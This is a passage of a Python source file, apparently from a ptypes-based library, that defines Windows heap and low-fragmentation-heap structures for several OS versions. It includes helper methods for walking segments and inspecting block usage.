= self._fields_ = []\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN8:\n f.extend([\n (USHORT, 'Depth'),\n (USHORT, 'FreeEntryOffset'),\n (ULONG, 'Sequence'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (USHORT, 'Depth'),\n (USHORT, 'FreeEntryOffset'),\n (pint.uint_t, 'Sequence'),\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n\n def summary(self):\n return \"Depth:{:#x} FreeEntryOffset:{:#x} Sequence:{:#x}\".format(self['Depth'].int(), self['FreeEntryOffset'].int(), self['Sequence'].int())\n\n @pbinary.littleendian\n class HEAP_LFH_MEM_POLICIES(pbinary.flags):\n _fields_ = [\n (30, 'Spare'),\n (1, 'SlowSubsegmentGrowth'),\n (1, 'DisableAffinity'),\n ]\n\n class HEAP_USERDATA_OFFSETS(pstruct.type):\n _fields_ = [\n (USHORT, 'FirstAllocationOffset'),\n (USHORT, 'BlockStride'),\n ]\n\n class HEAP_USERDATA_HEADER(pstruct.type):\n def ByOffset(self, entryoffset):\n '''Return the field at the specified `entryoffset`.'''\n blocksize = 0x10 if getattr(self, 'WIN64', False) else 8\n return self.field(blocksize * entryoffset, recurse=True)\n\n def HeaderByOffset(self, offset):\n '''Return the header for the given entry offset.'''\n res = self.ByOffset(offset)\n if isinstance(res, _HEAP_ENTRY):\n return res\n raise error.NotFoundException(self, 'HeaderByOffset', message=\"Object at entry offset {:#x} does not point to a header ({:s}). An invalid entry offset was specified.\".format(offset, _HEAP_ENTRY.typename()))\n def BlockByOffset(self, offset):\n '''Return the block at the given entry offset.'''\n res = self.HeaderByOffset(offset)\n return res.getparent(_HEAP_CHUNK)\n def ChunkByOffset(self, offset):\n '''Return the chunk (data) for the entry offset.'''\n res = self.BlockByOffset(offset)\n return res['Data']\n\n def NextIndex(self):\n '''Return the next UserBlock index that will be allocated from this structure's segment'''\n ss = self['SubSegment'].d.li\n return ss.FreeEntryBlockIndex()\n def NextBlock(self):\n '''Return the next block that will be allocated from this structure's segment'''\n index = self.NextIndex()\n return self['Blocks'][index]\n def NextChunk(self):\n '''Return a pointer to the next chunk (data) that will be returned from this structure's segment.'''\n res = self.NextBlock()\n return res['Data']\n\n def UsageBitmap(self):\n '''Return a bitmap showing the busy/free chunks that are available'''\n iterable = (int(item['Header'].BusyQ()) for item in self['Blocks'])\n iterable = (bitmap.new(item, 1) for item in iterable)\n return functools.reduce(bitmap.push, iterable, bitmap.zero)\n\n def __Blocks(self):\n pss = self['SubSegment'].li\n ss = pss.d.li\n\n # Copy the SubSegment as a hidden attribute so that the\n # chunk can quickly lookup what it's related to.\n chunk = dyn.clone(_HEAP_CHUNK, __SubSegment__=ss)\n return dyn.array(chunk, ss['BlockCount'].int())\n\n def __BitmapData(self):\n res = self['BusyBitmap'].li\n bits = 64 if getattr(self, 'WIN64', False) else 32\n fractionQ = 1 if res['SizeOfBitmap'].int() % bits else 0\n return dyn.clone(res._Buffer, length=fractionQ + res['SizeOfBitmap'].int() // bits)\n\n def __init__(self, **attrs):\n super(HEAP_USERDATA_HEADER, self).__init__(**attrs)\n f = self._fields_ = []\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN10:\n f.extend([\n (lambda self: P(HEAP_SUBSEGMENT), 'SubSegment'),\n (fpointer(_HEAP_CHUNK, 'ListEntry'), 'Reserved'), # FIXME: figure out what this actually points to\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'SizeIndex'),\n (lambda self: dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(Signature)'),\n (HEAP_SIGNATURE, 'Signature'),\n (__Blocks, 'Blocks'),\n ])\n\n else:\n f.extend([\n (lambda self: P(HEAP_SUBSEGMENT), 'SubSegment'),\n (fpointer(_HEAP_CHUNK, 'ListEntry'), 'Reserved'), # FIXME: figure out what this actually points to\n (UCHAR, 'SizeIndex'),\n (UCHAR, 'GuardPagePresent'),\n (USHORT, 'PaddingBytes'),\n (HEAP_SIGNATURE, 'Signature'),\n (HEAP_USERDATA_OFFSETS, 'EncodedOffsets'),\n (dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(EncodedOffsets)'),\n (rtltypes.RTL_BITMAP_EX if getattr(self, 'WIN64', False) else rtltypes.RTL_BITMAP, 'BusyBitmap'),\n (self.__BitmapData, 'BitmapData'),\n ])\n return\n\n class HEAP_LOCAL_SEGMENT_INFO(pstruct.type):\n def __init__(self, **attrs):\n super(HEAP_LOCAL_SEGMENT_INFO, self).__init__(**attrs)\n f = self._fields_ = []\n integral = pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint32_t\n\n # FIXME NTDDI_WIN8 changes the order of these\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN8:\n f.extend([\n (P(HEAP_SUBSEGMENT), 'Hint'),\n (P(HEAP_SUBSEGMENT), 'ActiveSubSegment'),\n (dyn.array(P(HEAP_SUBSEGMENT), 16), 'CachedItems'),\n (SLIST_HEADER, 'SListHeader'),\n (HEAP_BUCKET_COUNTERS, 'Counters'),\n (P(HEAP_LOCAL_DATA), 'LocalData'),\n (ULONG, 'LastOpSequence'),\n (USHORT, 'BucketIndex'),\n (USHORT, 'LastUsed'),\n (integral, 'Reserved'), # FIXME: Is this right?\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (P(HEAP_LOCAL_DATA), 'LocalData'),\n (P(HEAP_SUBSEGMENT), 'ActiveSubSegment'),\n (dyn.array(P(HEAP_SUBSEGMENT), 16), 'CachedItems'),\n (SLIST_HEADER, 'SListHeader'),\n (HEAP_BUCKET_COUNTERS, 'Counters'),\n (ULONG, 'LastOpSequence'),\n (USHORT, 'BucketIndex'),\n (USHORT, 'LastUsed'),\n (USHORT, 'NoThrashCount'),\n\n (USHORT, 'Reserved'), # XXX: added manually\n (dyn.block(0xc if getattr(self, 'WIN64', False) else 4), 'unknown'), # XXX: there's got to be another field here\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n\n def Bucket(self):\n '''Return the LFH bin associated with the current HEAP_LOCAL_SEGMENT_INFO'''\n bi = self['BucketIndex'].int()\n lfh = self.getparent(LFH_HEAP)\n return lfh['Buckets'][bi]\n\n def Segment(self):\n '''\n Return the correct HEAP_SUBSEGMENT by checking \"Hint\" first, and then\n falling back to \"ActiveSubSegment\".\n '''\n\n # FIXME: CachedItems seems to point to segments that have previously\n # been in the 'Hint' field. However, when this happens the\n # current segment to honor for allocations is 'ActiveSubSegment'.\n\n if operator.contains(self, 'Hint') and self['Hint'].int():\n return self['Hint'].d\n elif self['ActiveSubSegment'].int():\n return self['ActiveSubSegment'].d\n raise error.MissingSegmentException(self, 'Segment', heap=self.getparent(HEAP), localdata=self.getparent(HEAP_LOCAL_DATA))\n\n def LastSegment(self):\n '''\n Return the last-used HEAP_SUBSEGMENT from the cache.\n '''\n res = self['LastUsed']\n return self['CachedItems'][res.int()].d\n\n class LFH_BLOCK_ZONE(pstruct.type):\n def __SubSegments(self):\n try:\n fh = self.getparent(LFH_HEAP)\n cb = fh['ZoneBlockSize'].int()\n\n # If we couldn't find the subsegment size in the LFH_HEAP, then just\n # fake-allocate it in order to grab its size\n except ptypes.error.ItemNotFoundError:\n cb = self.new(HEAP_SUBSEGMENT).a.size()\n\n # Calculate the offset to our current field so that we can determine\n # how many subsegments are in use.\n base = self.getoffset() + sum(self[fld].li.size() for fld in ['ListEntry', 'FreePointer', 'Limit'])\n\n # Figure out how many HEAP_SUBSEGMENT elements are in use.\n res = self['FreePointer'].li.int() - base\n return dyn.array(HEAP_SUBSEGMENT, res // cb)\n\n def __Available(self):\n try:\n fh = self.getparent(LFH_HEAP)\n cb = fh['ZoneBlockSize'].int()\n\n # If we couldn't find the subsegment size in the LFH_HEAP, then just\n # fake-allocate it in order to grab its size\n except ptypes.error.ItemNotFoundError:\n cb = self.new(HEAP_SUBSEGMENT).a.size()\n\n # Take the free pointer (points to a chunk), and subtract a HEAP_ENTRY\n # so that we divide evenly as for some reason there's about that\n # amount of space between its value and the last segment\n base = self['FreePointer'].li.int() - (0x10 if getattr(self, 'WIN64', False) else 8)\n\n # Calculate the number of elements before we hit the limit\n res = self['Limit'].li.int() - base\n return dyn.array(HEAP_SUBSEGMENT, res // cb)\n\n def __init__(self, **attrs):\n super(LFH_BLOCK_ZONE, self).__init__(**attrs)\n f = self._fields_ = []\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN8:\n f.extend([\n (dyn.clone(LIST_ENTRY, _object_=P(LFH_BLOCK_ZONE), _path_=('ListEntry',)), 'ListEntry'),\n (P(HEAP_SUBSEGMENT), 'FreePointer'), # Points to the next HEAP_SUBSEGMENT to use\n (P(_HEAP_CHUNK), 'Limit'), # End of HEAP_SUBSEGMENTs\n\n (self.__SubSegments, 'SubSegments'),\n (self.__Available, 'Available'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (dyn.clone(LIST_ENTRY, _object_=P(LFH_BLOCK_ZONE), _path_=('ListEntry',)), 'ListEntry'),\n (ULONG, 'NextIndex'),\n (dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(NextIndex)'),\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n\n def iterate(self):\n '''Iterate through all the used subsegments in this particular zone.'''\n for item in self['SubSegments']:\n yield item\n return\n\n class HEAP_BUCKET_RUN_INFO(pstruct.type):\n _fields_ = [\n (ULONG, 'Bucket'),\n (ULONG, 'RunLength'),\n ]\n def summary(self):\n return \"Bucket:{:#x} RunLength:{:#x}\".format(self['Bucket'].int(), self['RunLength'].int())\n\n class USER_MEMORY_CACHE_ENTRY(pstruct.type, versioned):\n # FIXME: Figure out which SizeIndex is used for a specific cache entry\n class _UserBlocks(pstruct.type):\n # FIXME: Is this the correct structure for USER_MEMORY_CACHE_ENTRY's\n # SLIST_HEADER?\n def __Blocks(self):\n entry = self.getparent(USER_MEMORY_CACHE_ENTRY)\n\n res = [ item.getoffset() for item in entry.p.value ]\n idx = res.index(entry.getoffset()) + 1\n\n blocksize = 0x10 if getattr(self, 'WIN64', False) else 8\n rees = idx * blocksize + blocksize\n\n block = dyn.clone(_HEAP_CHUNK, blocksize=lambda s, sz=res: sz)\n return dyn.array(block, entry['AvailableBlocks'].int() * 8)\n\n _fields_ = [\n (dyn.array(pint.uint32_t, 4), 'unknown'),\n (__Blocks, 'Blocks'),\n ]\n\n def __init__(self, **attrs):\n super(USER_MEMORY_CACHE_ENTRY, self).__init__(**attrs)\n f = self._fields_ = []\n f.extend([\n #(dyn.clone(SLIST_HEADER, _object_=_UserBlocks), 'UserBlocks'),\n (SLIST_HEADER, 'UserBlocks'), # XXX: check this offset\n (ULONG, 'AvailableBlocks'), # AvailableBlocks * 8 seems to be the actual size\n (ULONG, 'MinimumDepth'),\n ])\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) <= sdkddkver.NTDDI_WIN8:\n f.extend([\n (dyn.block(8 if getattr(self, 'WIN64', False) else 0), 'Padding')\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (ULONG, 'CacheShiftThreshold'),\n (USHORT, 'Allocations'),\n (USHORT, 'Frees'),\n (USHORT, 'CacheHits'),\n\n # XXX: The following fields have been manually added to deal\n # with padding, but they've got to be some undocumented\n # fields or something...\n (USHORT, 'Unknown'),\n (ULONG, 'Reserved'),\n (dyn.block(0x8 if getattr(self, 'WIN64', False) else 0), 'Padding'),\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n\n class HEAP_SUBSEGMENT(pstruct.type):\n def BlockSize(self):\n '''Returns the size of each block (data + header) within the subsegment'''\n blocksize = 0x10 if getattr(self, 'WIN64', False) else 8\n return self['BlockSize'].int() * blocksize\n def ChunkSize(self):\n '''Return the size of the chunks (data) that this HEAP_SUBSEGMENT is responsible for providing'''\n res = self.new(_HEAP_ENTRY).a\n return self.BlockSize() - res.size()\n\n def BlockIndexByOffset(self, offset):\n '''Return the expected block index for the given offset.'''\n blocksize = 0x10 if getattr(self, 'WIN64', False) else 8\n fo = offset * blocksize\n shift = self.new(HEAP_USERDATA_HEADER).a.size()\n return (fo - shift) // self.BlockSize()\n\n def FreeEntryBlockIndex(self):\n '''Returns the index into UserBlocks of the next block to allocate given the `FreeEntryOffset` of the current HEAP_SUBSEGMENT'''\n res = self['AggregateExchg']['FreeEntryOffset']\n return self.BlockIndexByOffset(res.int())\n\n def NextFreeBlock(self):\n '''Return the next block HeapAllocate will return for the current segment.'''\n index = self.FreeEntryBlockIndex()\n ub = self['UserBlocks'].d.li\n return ub['Blocks'][index]\n\n def UsedBlockCount(self):\n '''Return the total number of UserBlocks that have been allocated'''\n return self['BlockCount'].int() - self['AggregateExchg']['Depth'].int()\n def UnusedBlockCount(self):\n '''Return the number of UserBlocks that have been either freed or unallocated'''\n return self['AggregateExchg']['Depth'].int()\n def Usage(self):\n '''Return a bitmap showing the busy/free chunks that are available within `UserBlocks`'''\n ub = self['UserBlocks'].d.li\n return ub.UsageBitmap()\n def UsageString(self):\n '''Return a binary string showing the busy/free chunks that are available within `UserBlocks`'''\n res = self.Usage()\n return bitmap.string(res)\n\n def properties(self):\n res = super(HEAP_SUBSEGMENT, self).properties()\n if self.initializedQ():\n res['SegmentIsFull'] = self['AggregateExchg']['Depth'].int() == 0\n res['AvailableBlocks'] = self.UnusedBlockCount()\n res['BusyBlocks'] = self.UsedBlockCount()\n return res\n\n def __init__(self, **attrs):\n super(HEAP_SUBSEGMENT, self).__init__(**attrs)\n f = self._fields_ = []\n\n # FIXME: NTDDI_WIN8 moves the DelayFreeList to a different place\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN8:\n f.extend([\n (P(HEAP_LOCAL_SEGMENT_INFO), 'LocalInfo'),\n (P(HEAP_USERDATA_HEADER), 'UserBlocks'),\n (INTERLOCK_SEQ, 'AggregateExchg'),\n (USHORT, 'BlockSize'),\n (USHORT, 'Flags'),\n (USHORT, 'BlockCount'),\n (UCHAR, 'SizeIndex'),\n (UCHAR, 'AffinityIndex'),\n (dyn.clone(SLIST_ENTRY, _object_=fpointer(HEAP_SUBSEGMENT, 'SFreeListEntry'), _path_=('SFreeListEntry',)), 'SFreeListEntry'), # XXX: DelayFreeList\n (ULONG, 'Lock'),\n (dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(Lock)'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (P(HEAP_LOCAL_SEGMENT_INFO), 'LocalInfo'),\n (P(HEAP_USERDATA_HEADER), 'UserBlocks'),\n (dyn.clone(SLIST_ENTRY, _object_=fpointer(HEAP_SUBSEGMENT, 'SFreeListEntry'), _path_=('SFreeListEntry',)), 'DelayFreeList'),\n (INTERLOCK_SEQ, 'AggregateExchg'),\n (USHORT, 'BlockSize'),\n (USHORT, 'Flags'),\n (USHORT, 'BlockCount'),\n (UCHAR, 'SizeIndex'),\n (UCHAR, 'AffinityIndex'),\n (dyn.array(ULONG, 2), 'Alignment'), # XXX: This is not really an alignment as claimed\n (ULONG, 'Lock'),\n (dyn.clone(SLIST_ENTRY, _object_=fpointer(HEAP_SUBSEGMENT, 'SFreeListEntry'), _path_=('SFreeListEntry',)), 'SFreeListEntry'), # XXX: DelayFreeList\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n\n class PHEAP_SUBSEGMENT(ptype.pointer_t):\n '''\n This points to a HEAP_SUBSEGMENT, but ensures that it uses the same\n source of any ptype.encoded_t that parented it.\n '''\n _object_ = HEAP_SUBSEGMENT\n def dereference(self, **attrs):\n if isinstance(self.source, ptypes.provider.proxy) and self.parent is not None:\n p = self.parent.getparent(ptype.encoded_t)\n attrs.setdefault('source', p.source)\n return super(PHEAP_SUBSEGMENT, self).dereference(**attrs)\n\n class HEAP_LOCAL_DATA(pstruct.type):\n def CrtZone(self):\n '''Return the SubSegmentZone that's correctly associated with the value of the CrtZone field'''\n fe = self.getparent(LFH_HEAP)\n zone = self['CrtZone'].int()\n zoneiterator = (z for z in fe['SubSegmentZones'].walk() if z.getoffset() == zone)\n try:\n res = next(zoneiterator)\n except StopIteration:\n raise error.CrtZoneNotFoundError(self, 'CrtZone', zone=zone, frontendheap=fe.getoffset(), heap=fe.p.p.getoffset())\n return res\n\n def __init__(self, **attrs):\n super(HEAP_LOCAL_DATA, self).__init__(**attrs)\n f = self._fields_ = []\n aligned = dyn.align(8 if getattr(self, 'WIN64', False) else 4)\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN10:\n f.extend([\n (dyn.clone(SLIST_HEADER, _object_=fpointer(HEAP_SUBSEGMENT, 'SFreeListEntry'), _path_=('SFreeListEntry',)), 'DeletedSubSegments'),\n (P(LFH_BLOCK_ZONE), 'CrtZone'),\n (P(LFH_HEAP), 'LowFragHeap'),\n (ULONG, 'Sequence'),\n (ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'DeleteRateThreshold'),\n (aligned, 'align(SegmentInfo)'),\n (dyn.array(HEAP_LOCAL_SEGMENT_INFO, 128), 'SegmentInfo'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (dyn.clone(SLIST_HEADER, _object_=fpointer(HEAP_SUBSEGMENT, 'SFreeListEntry'), _path_=('SFreeListEntry',)), 'DeletedSubSegments'),\n (P(LFH_BLOCK_ZONE), 'CrtZone'),\n (P(LFH_HEAP), 'LowFragHeap'),\n (ULONG, 'Sequence'),\n (ULONG, 'DeleteRateThreshold'),\n (dyn.block(8 if getattr(self, 'WIN64', False) else 0), 'padding(DeleteRateThreshold)'),\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n\n @FrontEndHeap.define\n class LFH_HEAP(pstruct.type, versioned):\n type = 2\n\n # FIXME: Figure out how caching in 'UserBlockCache' works\n\n # FIXME: Figure out why HEAP_LOCAL_DATA is defined as an array in all\n # LFH material but only gets referenced as a single-element.\n\n def __SizeIndex(self, size):\n '''Return the size index when given a ``size``'''\n heap = self.getparent(HEAP)\n bucket = heap.Bucket(size)\n return bucket['SizeIndex'].int()\n def BucketByIndex(self, index):\n return self['Buckets'][index]\n def SegmentInfoByIndex(self, index):\n return self['LocalData']['SegmentInfo'][index]\n def Bucket(self, size):\n '''Return the LFH bin given a ``size``'''\n index = self.__SizeIndex(size)\n return self.BucketByIndex(index)\n def SegmentInfo(self, size):\n '''Return the HEAP_LOCAL_SEGMENT_INFO for a specific ``size``'''\n bin = self.Bucket(size)\n index = bin['SizeIndex'].int()\n return SegmentInfoByIndex(index)\n\n def __init__(self, **attrs):\n super(LFH_HEAP, self).__init__(**attrs)\n integral = ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n f = self._fields_ = []\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN7:\n f.extend([\n (rtltypes.RTL_CRITICAL_SECTION, 'Lock'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=P(LFH_BLOCK_ZONE)), 'SubSegmentZones'),\n (ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'ZoneBlockSize'),\n (P(HEAP), 'Heap'),\n (ULONG, 'SegmentChange'),\n (ULONG, 'SegmentCreate'),\n (ULONG, 'SegmentInsertInFree'),\n (ULONG, 'SegmentDelete'),\n (ULONG, 'CacheAllocs'),\n (ULONG, 'CacheFrees'),\n (integral, 'SizeInCache'),\n (HEAP_BUCKET_RUN_INFO, 'RunInfo'),\n (dyn.array(USER_MEMORY_CACHE_ENTRY, 12), 'UserBlockCache'), # FIXME: Not sure what this cache is used for\n (dyn.array(HEAP_BUCKET, 128), 'Buckets'),\n (HEAP_LOCAL_DATA, 'LocalData'),\n ])\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN8:\n # http://illmatics.com/Windows%208%20Heap%20Internals.pdf\n raise error.NdkUnsupportedVersion(self)\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (rtltypes.RTL_SRWLOCK, 'Lock'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=P(LFH_BLOCK_ZONE)), 'SubSegmentZones'),\n (P(HEAP), 'Heap'),\n\n (P(ptype.undefined), 'NextSegmentInfoArrayAddress'),\n (P(ptype.undefined), 'FirstUncommittedAddress'),\n (P(ptype.undefined), 'ReservedAddressLimit'),\n (ULONG, 'SegmentCreate'),\n (ULONG, 'SegmentDelete'),\n (ULONG, 'MinimumCacheDepth'),\n (ULONG, 'CacheShiftThreshold'),\n (integral, 'SizeInCache'),\n (HEAP_BUCKET_RUN_INFO, 'RunInfo'),\n (dyn.block(8 if getattr(self, 'WIN64', False) else 0), 'padding(RunInfo)'),\n (dyn.array(USER_MEMORY_CACHE_ENTRY, 12), 'UserBlockCache'), # FIXME: Not sure what this cache is used for\n (HEAP_LFH_MEM_POLICIES, 'MemoryPolicies'),\n (dyn.array(HEAP_BUCKET, 129), 'Buckets'),\n (dyn.array(P(HEAP_LOCAL_SEGMENT_INFO), 129), 'SegmentInfoArrays'),\n (dyn.array(P(HEAP_LOCAL_SEGMENT_INFO), 129), 'AffinitizedInfoArrays'),\n (P(SEGMENT_HEAP), 'SegmentAllocator'),\n (dyn.align(8), 'align(LocalData)'),\n (HEAP_LOCAL_DATA, 'LocalData'),\n ])\n else:\n raise error.NdkUnsupportedVersion(self)\n self._fields_ = f\n\nif 'Heap':\n class HEAP_SEGMENT(pstruct.type, versioned):\n def __init__(self, **attrs):\n super(HEAP_SEGMENT, self).__init__(**attrs)\n aligned = dyn.align(8 if getattr(self, 'WIN64', False) else 4)\n f = []\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) <= sdkddkver.NTDDI_WS03:\n f.extend([\n (_HEAP_ENTRY, 'Entry'),\n (HEAP_SIGNATURE, 'Signature'),\n (ULONG, 'Flags'),\n (P(HEAP), 'Heap'),\n (lambda self: SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'LargestUnCommittedRange'),\n (PVOID, 'BaseAddress'),\n (ULONG, 'NumberOfPages'),\n (P(_HEAP_CHUNK), 'FirstEntry'),\n (P(_HEAP_CHUNK), 'LastValidEntry'),\n (ULONG, 'NumberOfUnCommittedPages'),\n (ULONG, 'NumberOfUnCommittedRanges'),\n (P(HEAP_UNCOMMMTTED_RANGE), 'UnCommittedRanges'),\n (USHORT, 'AllocatorBackTraceIndex'),\n (USHORT, 'Reserved'),\n (P(_HEAP_CHUNK), 'LastEntryInSegment'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) >= sdkddkver.NTDDI_WIN7:\n f.extend([\n (_HEAP_ENTRY, 'Entry'),\n (HEAP_SIGNATURE, 'SegmentSignature'),\n (ULONG, 'SegmentFlags'),\n (lambda s: dyn.clone(LIST_ENTRY, _sentinel_='Blink', _path_=('SegmentListEntry',), _object_=fpointer(HEAP_SEGMENT, 'SegmentListEntry')), 'SegmentListEntry'), # XXX: entry comes from HEAP\n (P(HEAP), 'Heap'),\n (PVOID, 'BaseAddress'),\n (ULONG, 'NumberOfPages'),\n (aligned, 'align(FirstEntry)'), # FIXME: padding, or alignment?\n (P(_HEAP_CHUNK), 'FirstEntry'),\n (PVOID, 'LastValidEntry'),\n (ULONG, 'NumberOfUnCommittedPages'),\n (ULONG, 'NumberOfUnCommittedRanges'),\n (USHORT, 'AllocatorBackTraceIndex'),\n (USHORT, 'Reserved'),\n (aligned, 'align(UCRSegmentList)'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=fpointer(HEAP_UCR_DESCRIPTOR, 'SegmentEntry')), 'UCRSegmentList'),\n ])\n\n else:\n # XXX: https://lzeroyuee.cn/old-blog/%E5%88%9D%E8%AF%86win32%E5%A0%86%20-%20lZeroyuee%27s%20Blog.html\n raise error.NdkUnsupportedVersion(self)\n self._fields_ = f\n\n def Bounds(self):\n PAGE_SIZE = 0x1000\n ucr = self['NumberOfUncommittedPages'].int() * PAGE_SIZE\n start, end = (self[fld].li for fld in ['FirstEntry', 'LastValidEntry'])\n return start.int(), end.int() - ucr\n\n def Chunk(self, address):\n start, end = self.Bounds()\n if start <= address < end:\n # FIXME: implement this\n raise NotImplementedError\n cls = self.__class__\n raise error.InvalidChunkAddress(self, 'Chunk', message=\"The requested address ({:#x}) is not within the boundaries of the current {:s} ({:#x}<>{:#x}).\".format(address, cls.typename(), start, end), Segment=self)\n\n def iterate(self):\n '''Iterate through all the chunks in the current segment.'''\n start, end = self.Bounds()\n res = self['FirstEntry'].d\n while res.getoffset() < end:\n yield res.l\n res = res.next()\n return\n\n def walk(self):\n yield self\n for item in self['SegmentListEntry'].walk():\n yield item\n return\n\n class HEAP_TAG_ENTRY(pstruct.type):\n _fields_ = [\n (ULONG, 'Allocs'),\n (ULONG, 'Frees'),\n (ULONG, 'Size'),\n (USHORT, 'TagIndex'),\n (USHORT, 'CreatorBackTraceIndex'),\n (dyn.array(USHORT, 24), 'TagName'),\n ]\n\n class HEAP_UCR_SEGMENT(pstruct.type):\n _fields_ = [\n (lambda self: P(HEAP_UCR_SEGMENT), 'Next'),\n (ULONG, 'ReservedSize'),\n (ULONG, 'CommittedSize'),\n (ULONG, 'filler'),\n ]\n\n class HEAP_UNCOMMMTTED_RANGE(pstruct.type):\n _fields_ = [\n (lambda self: P(HEAP_UNCOMMMTTED_RANGE), 'Next'),\n (PVOID, 'Address'),\n (lambda self: SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'Size'),\n (ULONG, 'filler'),\n ]\n\n class HEAP_PSEUDO_TAG_ENTRY(pstruct.type):\n _fields_ = [\n (ULONG, 'Allocs'),\n (ULONG, 'Frees'),\n (ULONG, 'Size'),\n ]\n\n class HEAP_UCR_DESCRIPTOR(pstruct.type):\n def __ListEntry(self):\n res = P(HEAP_UCR_DESCRIPTOR)\n return dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=res)\n\n def __Address(self):\n def target(self):\n p = self.getparent(HEAP_UCR_DESCRIPTOR)\n res = p['Size'].li\n return dyn.clone(HEAP_BLOCK_UNCOMMITTED, length=res.int())\n return P(target)\n\n _fields_ = [\n (__ListEntry, 'ListEntry'),\n (dyn.clone(LIST_ENTRY, _path_=('UCRSegmentList',), _object_=fpointer(HEAP_SEGMENT, 'UCRSegmentList')), 'SegmentEntry'),\n (__Address, 'Address'), # Sentinel Address\n (lambda self: SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T, 'Size'),\n ]\n\n class HEAP_VIRTUAL_ALLOC_ENTRY(pstruct.type):\n def __ListEntry(self):\n res = P(HEAP_VIRTUAL_ALLOC_ENTRY)\n return dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=res)\n\n def __BusyBlock(self):\n cb = self['CommitSize'].li\n res = sum(self[fld].li.size() for fld in ['ListEntry', 'ExtraStuff', 'CommitSize', 'ReserveSize'])\n return dyn.clone(HEAP_CHUNK_LARGE, length=max(0, cb.int() - res))\n\n _fields_ = [\n (__ListEntry, 'ListEntry'),\n (HEAP_ENTRY_EXTRA, 'ExtraStuff'),\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'CommitSize'),\n (lambda self: ULONGLONG if getattr(self, 'WIN64', False) else ULONG, 'ReserveSize'),\n (__BusyBlock, 'BusyBlock'),\n ]\n\n class HEAP(pstruct.type, versioned):\n def UncommittedRanges(self):\n '''Iterate through the list of UncommittedRanges(UCRList) for the HEAP'''\n for item in self['UCRList'].walk():\n yield item\n return\n\n def Segments(self):\n '''Iterate through the list of Segments(SegmentList) for the HEAP'''\n for item in self['SegmentList'].walk():\n yield item\n return\n\n def __HeapList(self, blockindex):\n '''Return the correct (recent) HEAP_LIST_LOOKUP structure according to the ``blockindex`` (size / blocksize)'''\n if not self['FrontEndHeapType']['LFH']:\n raise error.IncorrectHeapType(self, '__HeapList', message=\"Invalid value for FrontEndHeapType ({:s})\".format(self['FrontEndHeapType'].summary()), version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n p = self['BlocksIndex'].d.l\n while blockindex >= p['ArraySize'].int():\n if p['ExtendedLookup'].int() == 0:\n raise error.ListHintException(self, '__HeapList', message='Unable to locate ListHint for blockindex', blockindex=blockindex, index=p['ArraySize'].int()-1, lookup=p)\n p = p['ExtendedLookup'].d.l\n return p\n\n def Bucket(self, size):\n '''Find the correct Heap Bucket from the ListHint for the given ``size``'''\n entry = self.ListHint(size)\n if entry['Blink'].int() == 0:\n raise error.NotFoundException(self, 'Bucket', message=\"Unable to find a Bucket for the requested size ({:#x})\".format(size), entry=entry, size=size)\n return entry['Blink'].d.li\n\n def ListHint(self, size):\n '''Return the ListHint according to the specified ``size``'''\n if not self['FrontEndHeapType']['LFH']:\n raise error.IncorrectHeapType(self, 'ListHint', message=\"Invalid value for FrontEndHeapType ({:s})\".format(self['FrontEndHeapType'].summary()), 